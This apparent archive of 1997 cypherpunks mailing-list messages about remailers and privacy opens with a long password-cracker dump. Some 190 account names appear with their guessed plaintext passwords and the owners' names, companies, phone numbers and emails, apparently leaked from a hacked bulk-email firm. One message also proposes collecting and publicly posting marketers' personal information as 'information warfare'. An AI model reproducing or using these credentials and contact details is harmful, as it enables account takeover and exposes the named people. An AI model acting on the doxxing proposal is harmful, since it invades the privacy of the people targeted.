Guessed vlk9a [vlk9a [123456]]  Nancy A Tietien,VLK9 Network,602-874-9247,kat187@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed lists [lists [JOSHUA]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed website [lists [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed morinfo [morinfo [CESSNA]]  John Fraine,,941-732-1872,hirate@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ragesking [ragesking [KIMMY]]  Gary S. Kuzel,,630-985-5191,gskinc@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed pichx [pichx [DRAGON]]  Bernhard Bowitz,,852-9-190-3688, [etc_passwd.fixed /bin/tcsh]
Guessed srdindusry [srdindusry [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed softcell [softcell [SOFTIE]]  Adam Morgan / Softcell,,212-953-5234, [etc_passwd.fixed /bin/tcsh]
Guessed glory [glory [HUMBOLDT]]  Pamela Murphy,,901 784-6036, [etc_passwd.fixed /bin/tcsh]
Guessed mybox [mybox [FORWARD]]  Thomas Cox,,, [etc_passwd.fixed /bin/tcsh]
Guessed xtraco [xtraco [ORANGES]]  Joseph Ambrose,,800-247-0792 / 810-767-8405 / 810-767-1884,xtraco@cris.com [etc_passwd.fixed /bin/tcsh]
Guessed eznrg [eznrg [DIAMOND]]  Kim Krueger,,602-878-8812, [etc_passwd.fixed /bin/tcsh]
Guessed a030253 [a030253 [SIERRA]]  GEORGE NIELSEN,01133130324163,, [etc_passwd.fixed /bin/tcsh]
Guessed egtech [egtech [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed homelab [homelab [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed mktginfo [mktginfo [MARTHA]]  Robert Hutton,,,RHutton@mail.idt.net [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus2 [mikeplus2 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed vistagroup [vistagroup [KODIAK]]  George Gaul,The Vista Group,303-674-2256,captain@ecentral.com [etc_passwd.fixed /bin/tcsh]
Guessed thanku [thanku [ELBOWS]]  Doug Sutton,,, [etc_passwd.fixed /bin/tcsh]
Guessed herbalpc [herbalpc [SPUNKY]]  Pat Connolly / Joyce,,309-691-1762,herbalpc@ix.netcom.com [etc_passwd.fixed /bin/tcsh]
Guessed testing [testing [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed wolfgang [wolfgang [OLIVER]]  Bui VaneLinde,,, [etc_passwd.fixed /bin/tcsh]
Guessed llgun [llgun [LOKEY]]  Lois Gunnerson,Dynamic Marketing Group,602-949-0031, [etc_passwd.fixed /bin/tcsh]
Guessed xpres [xpres [LANSING]]  Shawn Sageghieh,Email Express,714-568-9688,714-443-4559 [etc_passwd.fixed /bin/tcsh]
Guessed give [give [TUCKER]]  Jay Holtman,,312-666-4956, [etc_passwd.fixed /bin/tcsh]
Guessed zen [zen [KITTY]]  Joe Zielinski,Z Lite,708-720-4929, [etc_passwd.fixed /bin/tcsh]
Guessed mustsee [mustsee [JACKSON]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed aopptun [aopptun [BENNIE]]  AMOS FISHER,,, [etc_passwd.fixed /bin/tcsh]
Guessed amnat3 [amnat3 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed hologram [hologram [PHONECAR]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed injuredjoe [injuredjoe [CAPTAIN]]  Todd Syska,,914-266-8322, [etc_passwd.fixed /bin/tcsh]
Guessed healthy4u [healthy4u [BEGIN]]  Betty M. Colombo,healthyu@juno.com,516-541-3001,516-541-3079 [etc_passwd.fixed /bin/tcsh]
Guessed tntalgae [tntalgae [FROSTY]]  Todd Thompson,,303-765-5950, [etc_passwd.fixed /bin/tcsh]
Guessed gks [gks [DANCER]]  Callie Goodrum,GKS Enterprises,706-554-6181, [etc_passwd.fixed /bin/tcsh]
Guessed praetor [praetor [TEMP]]  Dave Browning,,, [etc_passwd.fixed /bin/tcsh]
Guessed midstateop [midstateop [SPIKE]]  Terry Eisenberg,,717-741-1159, [etc_passwd.fixed /bin/tcsh]
Guessed extractor [extractor [JOSHUA]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed lorios [lorios [DOLORES]]  Al Brooks,,619-487-9664, [etc_passwd.fixed /bin/tcsh]
Guessed zitbuster [zitbuster [ARTURO]]  Art Sel Barrio,Art *Del* Barrio,210-581-7163, [etc_passwd.fixed /bin/tcsh]
Guessed showcase [showcase [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed ableman [ableman [SEESAW]]  Barry G. Swenson / Reg Hardy,Able Co. Services Inc.,954-565-0270,954-563-1767 [etc_passwd.fixed /bin/tcsh]
Guessed infotape [infotape [STARFISH]]  Delbert Rohm,,509-332-6308, [etc_passwd.fixed /bin/tcsh]
Guessed thegreen [thegreen [PEPPER]]  Mark Olynyk,Green Pages,201-785-0024, [etc_passwd.fixed /bin/tcsh]
Guessed aperillo [aperillo [BUNNER]]  Anthony Perillo,,516-822-6395, [etc_passwd.fixed /bin/tcsh]
Guessed csn [csn [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed secret [secret [ALEXANDR]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed details [details [SKIPPY]]  ,Kevin Griffith,770-967-0726, [etc_passwd.fixed /bin/tcsh]
Guessed biznews [biznews [DRAGON]]  Linda Bruton,,510-704-1466, [etc_passwd.fixed /bin/tcsh]
Guessed hummingbrd [hummingbrd [CLOVER]]  gil Gerald,Gil Gerald And Associates,213-953-7980, [etc_passwd.fixed /bin/tcsh]
Guessed minesh [minesh [ASHWIN]]  A. Bhindi,Ambassador Finance,011-44-0081-597-1262,ashinuk@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed JBA1231 [JBA1231 [STARSHIP]]  Jorge Acevedo,,212-856-7658, [etc_passwd.fixed /bin/tcsh]
Guessed freelance [freelance [SELINA]]  Bob Thompson,,864-232-0743, [etc_passwd.fixed /bin/tcsh]
Guessed univer [univer [PIPER]]  James Rockwell,,909-466-1411, [etc_passwd.fixed /bin/tcsh]
Guessed rhutton [rhutton [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131, [etc_passwd.fixed /bin/tcsh]
Guessed agape [agape [LOGOS]]  Adrian Watson,Y.A.M. Incorporated,,hpatrick@nls.net [etc_passwd.fixed /bin/tcsh]
Guessed awareness [awareness [HAPPY]]  Mark Hecox,VAliente Marketing,714-779-7154, [etc_passwd.fixed /bin/tcsh]
Guessed capital [capital [CESSNA]]  Louten Hedgpeth & Jack Langhorne,,910-392-7122,lrhedgpeth@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed infostart [infostart [GOFORIT]]  Gary Brendle,,410-349-1260, [etc_passwd.fixed /bin/tcsh]
Guessed donl [donl [DONELLE]]  Don Lewis,,909-985-0651, [etc_passwd.fixed /bin/tcsh]
Guessed peak [peak [ORGASMIC]]  Ron Goulet,,520-779-5342, [etc_passwd.fixed /bin/tcsh]
Guessed vipvalues [vipvalues [GRACE]]  Michael Franklin,V.I.P.,213 753-9241, [etc_passwd.fixed /bin/tcsh]
Guessed lilleyen [lilleyen [GANDALF]]  Richard Lilley,Lilley Enterprises,905-319-1369, [etc_passwd.fixed /bin/tcsh]
Guessed ozone [ozone [TOWLES]]  Jogn Towles,,817-859-5187, [etc_passwd.fixed /bin/tcsh]
Guessed welcome [welcome [SNOWSTOR]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed child [child [MIDAS]]  Bill Panchuck,Showcase,eaglekoz@ix.netcom.com, [etc_passwd.fixed /bin/tcsh]
Guessed cellular [cellular [DISKETTE]]  John Hendrix,Simply Natural Prod,713 484-3490, [etc_passwd.fixed /bin/tcsh]
Guessed sponsors [sponsors [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,941-365-HOOP,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed cbccorp [cbccorp [SCOUT]]  Peter Donofrio,,, [etc_passwd.fixed /bin/tcsh]
Guessed autoreply [autoreply [NORTHLAN]]  Karen Nelson,Northland Specialty Products,218-727-8641,rnelson@cp.duluth.mn.us [etc_passwd.fixed /bin/tcsh]
Guessed money4u [money4u [KELLY]]  PJ Graves,P. Graves Publishing,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed stealdeals [stealdeals [ENERGIZE]]  Barry Sowder,,407-332-0400, [etc_passwd.fixed /bin/tcsh]
Guessed gcmkt [gcmkt [CRAWFISH]]  Neil Goodman,,504-766-8843, [etc_passwd.fixed /bin/tcsh]
Guessed autofuture [autofuture [CADILLAC]]  Andre West,,313-709-4667, [etc_passwd.fixed /bin/tcsh]
Guessed freeway1 [freeway1 [SLACKER]]  Brian Perisho,,317-241-4918, [etc_passwd.fixed /bin/tcsh]
Guessed jl [jl [MILAGROS]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed bewealthy [bewealthy [GREENBAC]]  John Wright,334-286-6275,, [etc_passwd.fixed /bin/tcsh]
Guessed freeinfo [freeinfo [CHICLET]]  Alan Lange,,, [etc_passwd.fixed /bin/tcsh]
Guessed deepbreath [deepbreath [ANANDA]]  Dr. Joy Rausmussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed gcprod [gcprod [PRODUC]]  Gary Cuminale,GNC Products,716-381-7132, [etc_passwd.fixed /bin/tcsh]
Guessed infocenter [infocenter [ACCUSER]]  Maynard S. White,,805-945-0351, [etc_passwd.fixed /bin/tcsh]
Guessed grants [grants [TERESA]]  Victor Chapman,CM Consulting,516-377-3307,roger7891@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed vision [vision [THUNDER]]  Paula Stoup,,717-783-6465,paulas1043@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mikeplus1 [mikeplus1 [SNIFFY]]  Mike Mormile,,334-298-4059, [etc_passwd.fixed /bin/tcsh]
Guessed srdcorp [srdcorp [SAILING]]  Brian McDermott,SRD Corp.,860-295-8377, [etc_passwd.fixed /bin/tcsh]
Guessed bncentprs [bncentprs [JESUS]]  Robert Goldinger,BNC Enterprises,757-548-2179, [etc_passwd.fixed /bin/tcsh]
Guessed shamrock [shamrock [CYPRESS]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed dlbedding [dlbedding [CHANCE]]  Bill Dantuoson,Donalee Bedding,516-783-9896,billydlm@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed frsecurity [frsecurity [THISISIT]]  Robert Davis,,803-667-0702,jdr02@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed david [david [REBECCA]]  David Richards,717-242-0873,, [etc_passwd.fixed /bin/tcsh]
Guessed pegasustrv [pegasustrv [LIZZIE]]  Claire Covington Altorfer,Pegasus Travel,510-825-5777, [etc_passwd.fixed /bin/tcsh]
Guessed employnews [employnews [INGRID]]  Reginald Barefield,,610-798-7869, [etc_passwd.fixed /bin/tcsh]
Guessed carproinc [carproinc [GROSS]]  Wayne T. Carsey Jr.,Car Pro Inc,916-853-9721,wcarsey@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed alexis [alexis [WHALES]]  Mary Knorr,Medical Herbal Resources,602-678-4362, [etc_passwd.fixed /bin/tcsh]
Guessed topscan [topscan [JUSTIN]]  David Hall,,910-855-6375, [etc_passwd.fixed /bin/tcsh]
Guessed mattken [mattken [INWOOD]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed travelagt [travelagt [GOLDIE]]  David Goldsmith,Hello World Travel,847-673-7610, [etc_passwd.fixed /bin/tcsh]
Guessed coupons [coupons [DISKETTE]]  John Hendrix,,, [etc_passwd.fixed /bin/tcsh]
Guessed salesunlim [salesunlim [COYOTE]]  Ronald Wiley,Sales Unlimited Inc.,908-780-2590, [etc_passwd.fixed /bin/tcsh]
Guessed incomeplus [incomeplus [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed lecram [lecram [BARUCH]]  Rene Roussey,,516-283-4240, [etc_passwd.fixed /bin/tcsh]
Guessed mortgage [mortgage [PEANUT]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed ucan2 [ucan2 [NAMASTE]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed hotbiz [hotbiz [ALBERTA]]  Ted Benedict,,604-535-3304, [etc_passwd.fixed /bin/tcsh]
Guessed sjsent [hotbiz [ALBERTA]]  Steven Spohn,SJS Enterprises,610-987-9272, [etc_passwd.fixed /bin/tcsh]
Guessed findout [findout [SWISHER]]  Ben Vann,Blue Whale Media,910-785-9296,bvann@whalemail.com [etc_passwd.fixed /bin/tcsh]
Guessed prosper [prosper [SITUATIO]]  Daniel Sheehey,,707-822-8324,djshee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed iaplus [iaplus [SALOME]]  Amos Fisher,,717-354-6594, [etc_passwd.fixed /bin/tcsh]
Guessed light [light [RAYMOND]]  AMOS FISHER,,717 354-4046, [etc_passwd.fixed /bin/tcsh]
Guessed cheapcalls [cheapcalls [MAGICAL]]  Richard Rubenstein,,219-864-2501,rnr@pla.net.net [etc_passwd.fixed /bin/tcsh]
Guessed bigprofits [bigprofits [DROSOPHI]]  Steven Ayer,Internet Marketing Solutions,203-421-5070,bigprofits@writeme.com [etc_passwd.fixed /bin/tcsh]
Guessed powernow [powernow [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed drchris [drchris [PSYCHE]]  Dr. Chris Wolf,,609-983-5129, [etc_passwd.fixed /bin/tcsh]
Guessed amnat1 [amnat1 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed amsquare [amsquare [MOOSEHEA]]  Doug Petersen,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed answers [answers [CHELSEY]]  Dennis Estelle,,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed freeads [freeads [BATMAN]]  Bill Guting,,,awt@cwnet.com [etc_passwd.fixed /bin/tcsh]
Guessed college [college [KELLY]]  Pam Graves,,415-668-9583, [etc_passwd.fixed /bin/tcsh]
Guessed powerad [powerad [DENTAL]]  Juanita Boivin,,,urwlthybiz@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed newbuss [newbuss [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed classads [classads [WINTER]]  Robert Pearsall,,, [etc_passwd.fixed /bin/tcsh]
Guessed zee [zee [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed disease [disease [MOOSEHEA]]  Doug Peterson,,508-376-1248, [etc_passwd.fixed /bin/tcsh]
Guessed steveplus [steveplus [GIANTS]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed matco [matco [PRAISE]]  John Matthews,,972-226-0491, [etc_passwd.fixed /bin/tcsh]
Guessed legalwon [legalwon [CRITTER]]  Peter Brock,Developmental Learning Concepts,301-949-4422, [etc_passwd.fixed /bin/tcsh]
Guessed siteone [siteone [CIRCLE]]  Richard Scott,Richard Scott + Assoc.,334-928-8406, [etc_passwd.fixed /bin/tcsh]
Guessed sandman [sandman [BLASTER]]  Ed Sand,,406-684-5759, [etc_passwd.fixed /bin/tcsh]
Guessed disneygroup [disneygroup [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed sevenmil [sevenmil [DOROTHY]]  Eric Ralls,New Horizons,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed adman [adman [CRYSTAL]]  Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh]
Guessed solar1 [solar1 [SHOPPING]]  Gary Corbitt,,310-338-1019, [etc_passwd.fixed /bin/tcsh]
Guessed b6024 [b6024 [PATIENCE]]  Tom Benedict,Tom Benedict,813-528-1548, [etc_passwd.fixed /bin/tcsh]
Guessed online [online [LOVER]]  Joe Cola,Bank Card Systems,800-563-7832, [etc_passwd.fixed /bin/tcsh]
Guessed invest [invest [CRYSTAL]]  Benjamin Ice,,,jammerjoe@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gocell [gocell [AMANDA]]  Lawrence Falco,L & S Marketing,516-821-1125, [etc_passwd.fixed /bin/tcsh]
Guessed donow [donow [TURNAROU]]  Bradley Near,,602-954-1809, [etc_passwd.fixed /bin/tcsh]
Guessed laptop [laptop [MUSIC]]  Thomas Cox,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed mktgconcepts [mktgconcepts [MARTHA]]  Robert Hutton,Marketing Concepts,212-333-3131,rhutton@idt.net [etc_passwd.fixed /bin/tcsh]
Guessed wholesaleprices [wholesaleprices [MARIAM]]  Mohammad Hanif,,972-669-2223,compumart@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed removeme [removeme [ERASER]]  Dave Mann,,, [etc_passwd.fixed /bin/tcsh]
Guessed allnatural [allnatural [CHELSEY]]  Dennis Estelle,,908-920-9054, [etc_passwd.fixed /bin/tcsh]
Guessed welltrend [welltrend [BUMBLE]]  Louis Salatto,,203-483-6630, [etc_passwd.fixed /bin/tcsh]
Guessed mquest [mquest [OOPS]]  Phil Brown,Merchant Quest,541-742-6206,pbrown@pdx.oneworld.com [etc_passwd.fixed /bin/tcsh]
Guessed health [health [JESUS]]  Randy Haugen,Cypress Marketing Inc,303-763-5787, [etc_passwd.fixed /bin/tcsh]
Guessed rcenterpi [rcenterpi [HALFWAY]]  Ron Mayfield,,417-445-2602 or 417-445-6797,roncan@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed tvlsecrets [tvlsecrets [CAVIAR]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed protection [protection [MOOSEHEA]]  Doug Peterson,,, [etc_passwd.fixed /bin/tcsh]
Guessed robtym [robtym [MAKEMYDA]]  Tom Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed networkes [networkes [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed helpme [helpme [CORKIE]]  Doug Sutton,905-567-1874,, [etc_passwd.fixed /bin/tcsh]
Guessed profile [profile [METHOD]]  Joe Kuhn,908-220-1110,qwikmail@raven.cybercomm.net, [etc_passwd.fixed /bin/tcsh]
Guessed adna1 [adna1 [MAYE]]  Adna Dalessandro,,216 779-1136, [etc_passwd.fixed /bin/tcsh]
Guessed response [response [STINKY]]  Steve Brown,Business Solutions South,601-832-5031, [etc_passwd.fixed /bin/tcsh]
Guessed anyahu [anyahu [ANKLES]]  Doug Sutton,Winning Edge Systems,905-567-1874, [etc_passwd.fixed /bin/tcsh]
Guessed secret1 [secret1 [ALEXANDR]]  John (see secret),see secret,see secret,see secret [etc_passwd.fixed /bin/tcsh]
Guessed ezwork [ezwork [ACCESS]]  Glenda Smith,,216-291-4589,gs72895@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed herb [herb [TINSEL]]  Bob Keegan,,215-493-0706, [etc_passwd.fixed /bin/tcsh]
Guessed cash [cash [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed choice3 [choice3 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed yucan2 [yucan2 [OLIVER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed rainbow [rainbow [WILBUR]]  Patrice Lowe,,219-397-6615, [etc_passwd.fixed /bin/tcsh]
Guessed choice4 [choice4 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed jeps318 [jeps318 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]
Guessed mortgages [mortgages [MIDAS]]  Bill Panchuck,,810-674-0444, [etc_passwd.fixed /bin/tcsh]
Guessed blizzard97 [blizzard97 [BETSY]]  David Woldt,,605-886-3654,turbo41@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed mecca [mecca [BACKWARD]]  Thomas Cox resell,,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed teezer [teezer [TEASER]]  Dan Herzner,,914-769-6700, [etc_passwd.fixed /bin/tcsh]
Guessed help4u [help4u [MINERAL]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed free800 [free800 [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed bdbem [bdbem [ANNIE]]  Louis Salatto,,203-483-8634, [etc_passwd.fixed /bin/tcsh]
Guessed tpn1996 [tpn1996 [TALONS]]  Richard Mathiason,,707-642-8632, [etc_passwd.fixed /bin/tcsh]
Guessed rdlpinfo [rdlpinfo [PARKER]]  Peter Vaglica,,,tlpc@gte.net [etc_passwd.fixed /bin/tcsh]
Guessed healthwealth [healthwealth [JESUS]]  Diane Goselin,,508-791-6828, [etc_passwd.fixed /bin/tcsh]
Guessed eleven [eleven [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed infosales1 [infosales1 [BEAR]]  Steve Crockett,,904-857-7717,infosales1@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed secrets [secrets [PICKUP]]  Lillian & John Eagan,,908-431-4366, [etc_passwd.fixed /bin/tcsh]
Guessed marketinfo [marketinfo [PARKER]]  Peter Vaglica,,,tlpc@gte.net [etc_passwd.fixed /bin/tcsh]
Guessed kangaroo [kangaroo [LYDIA]]  Matthew Silverman,,508-369-4560, [etc_passwd.fixed /bin/tcsh]
Guessed wealth [wealth [KELLY]]  Chris Molinari,Adler Publishing,408-353-3141, [etc_passwd.fixed /bin/tcsh]
Guessed difaznet [difaznet [GORDO]]  Ray DiFazio,,415-668-5161, [etc_passwd.fixed /bin/tcsh]
Guessed bizopp [bizopp [ALBERTA]]  Ted Benedict,,, [etc_passwd.fixed /bin/tcsh]
Guessed offshore1 [offshore1 [JAMAICA]]  Denise Cook,Marketing Ect Trust,602-979-4844,dicook@sisna.com [etc_passwd.fixed /bin/tcsh]
Guessed diet30 [diet30 [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed sales [sales [CARRIER]]  Brad Konia,,610-437-1000,brad@fastcolor.com [etc_passwd.fixed /bin/tcsh]
Guessed blessdlife [blessdlife [SUNSHINE]]  Prasit K. Frazee,Lifetronix,704-536-3779,blessdlife@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed jeps317 [jeps317 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 23 Mar 1997 04:10:15 -0800 (PST)
To: (Alec)cypherpunks@toad.com>
Subject: Re: Remailers: Free vs. Fee
In-Reply-To: <3.0.1.32.19970322175306.007ca580@smtp1.abraxis.com>
Message-ID: <v03007817af5ad0b4740f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:53 PM -0500 3/22/97, Alec wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>A question for those legally-minded list members.
>
>Poorly put:
>
>Does the requirement an individual pay a fee (or the acceptance of a fee) for
>remailing services create a liability on the part of the remailer in regard
>to the content of the message?
>
>Or, if the service is free does the remailer have less risk than if he
>charged for it?

Have you been skipping the messages from Greg Broiles on this very topic?

I suggest you dig up his messages and read them.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 23 Mar 1997 01:59:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Remailers & Linux Dis
Message-ID: <TCPSMTP.17.3.23.5.6.26.2780269260.1581987@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:alan@ctrl-alt-del.com to Harka <=-

 In> I think that the actual thing preventing ISPs from setting up
 In> remailers is more of a liability issue, as opposed to a
 In> technical one.

Absolutely. When I asked my ISP to implement a remailer in the Linux
sub system, they said "You mean, OUR Linux??" "NO WAY!!".
People are simply afraid of possible liability suits. Therefore
remailers should rather be viewed as a problem solved by individuals
(not ISP's) and lot's of them...

Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzT+rDltEBIEF0MBAQGQegf+IuKRoNx98Vss2GkcIVHY7Nfgo4xQVozy
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KQYBVfV0S5dcXvjAUxVZezgz9ebuvO4E9ZJrVrG+8rAdCeOVttXwVGCsCYiEGTz+
2pUxTpbweqUixevSNHrFakYwmeDcHnyrTCu/KjdecHQfNBZMLmu6O6ooLmcoei6M
XZLTeJ5eSEEL3d9WWTrTIpuc2HzuGU1lfp+2+aqEs5K5mFyUH6xXEyt+G46ZXTjg
WYyPGwgxxPZJ1q2wS3ON8o+98i/o/L/LDqqrFwmdvY9OOI8hiTTHNA==
=SHPF
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 23 Mar 1997 02:00:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "why privacy" revisit
Message-ID: <TCPSMTP.17.3.23.5.6.40.2780269260.1581988@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


 -=> Quoting In:jonathan@gaw.net to Harka <=-

 In> the responses i've gotten have been all too theoretical and, i
 In> believe, too hypothetical and removed for most people. when asked if
<snip>
 In> i don't disagree with the people on the list. i am just having
 In> a hard time translating it to the public in concrete terms.

 >At 09:50 PM 3/22/97 -0500, you wrote:

 >>Information warfare. Collect information about DMA people, using
 >>their own weapons against them. Then post it somewhere on the
 >>Internet via remailers and cc themselves, Reuters and the New York
 >>Times...

Think about it. If there were a couple widely publicized cases,
where all the easily obtainable information of individuals were
publically postet on the Net, the "public" as such would become
aware of it. An example was the Oregon DMV CD...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzT+wTltEBIEF0MBAQElHwf8DePdkRRvp+KJ4FMKRAOUgEKOCEHgB4uD
uJSC8rJklzmA2h3kr2aZ/8GqU7mKfKjn3teTz35dRqW3DdwscdVx4hqw2PG+aoV/
RSDMcSYZJiHfTmXPdGhpIp+94OpZ77AVGK5VMloe5/DXqEfvrLmQKNQ2FWlFt7nu
BK1Cu48oK6WkEhvehJNpV0/fZ+iArQPzE/Pd2PoqzdHf1+Vfdi3cmzQdi5e9QZd1
vdG1ous5QLKpFwMjT8VvvgyIltfApk5h80Yk0hGXLVfsQ5JzmtVDKJumeidAWDtS
xaylFwIcXWbHMWOapQpJbMRO6Y5tEUKFRVgViYdmaqGSuskSHC2u9Q==
=uNPm
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 23 Mar 1997 02:36:38 -0800 (PST)
To: harka@nycmetro.com
Subject: viewing the web anonymously (Re: Cyberpromo hacked)
In-Reply-To: <TCPSMTP.17.3.22.-11.49.46.2780269260.1581755@nycmetro.com>
Message-ID: <199703230745.HAA00298@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Harka <harka@nycmetro.com> writes:
>  In> Cyberpromo is apparently blocking anonymizer's access to its
>  In> page.  It also had a statement that they believe they know the
>  In> identity of the hacker which they have turned over to the
>  In> authorities.
> 
> Yes, have experienced the same thing. "Connection call failed".
> Seemingly a lot of people have checked out their (hacked) page
> anonymously and they must have disliked that idea a lot...
